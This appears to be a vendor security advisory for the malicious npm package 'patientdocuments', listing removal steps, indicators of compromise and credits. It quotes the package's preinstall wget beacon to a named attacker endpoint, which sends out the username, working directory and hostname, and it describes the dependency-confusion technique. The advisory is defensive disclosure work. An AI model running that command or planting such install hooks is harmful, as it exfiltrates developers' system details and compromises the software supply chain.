Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

patientdocumentsnpm

Malicious code in patientdocuments (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5752
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall patientdocuments

What this malware does

package.json declares a preinstall lifecycle script that runs wget --quiet "http://orwa-orwa.dev-node-lap.workers.dev/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", firing automatically on npm install. The script leaks the installer's OS username, current working directory, and hostname to an attacker-controlled Cloudflare Workers endpoint over plain HTTP. The same beacon is duplicated in the test and preupdate scripts. The package ships no library code (no main module shipped), so its sole effect is the recon beacon. unsafe-perm is set, ensuring execution as root in privileged install contexts. This is a dependency-confusion / recon-beacon pattern: identity exfiltration with no legitimate purpose tied to the package's advertised function.

Malicious versions

1 flagged
75.0.0

Indicators of compromise (SHA-256)

56c5ab4dc6470deaebe29f4851edb91bc5d5704e9f9578a91e238490708c007b
a2a393a2c4aac0738463b79bb66032533b37359abf9f89845c1899075b28ae26

Frequently asked questions

No. patientdocuments on npm has been identified as a malicious package (version 75.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006413IN-MAL-2026-006414

References

Credits

  • Amazon Inspector · finder

Scan your dependencies

O3 Security blocks malicious packages like this at install time and in CI.

Supply-chain protection
patientdocuments (npm) malicious package — MAL-2026-5752 | O3 Security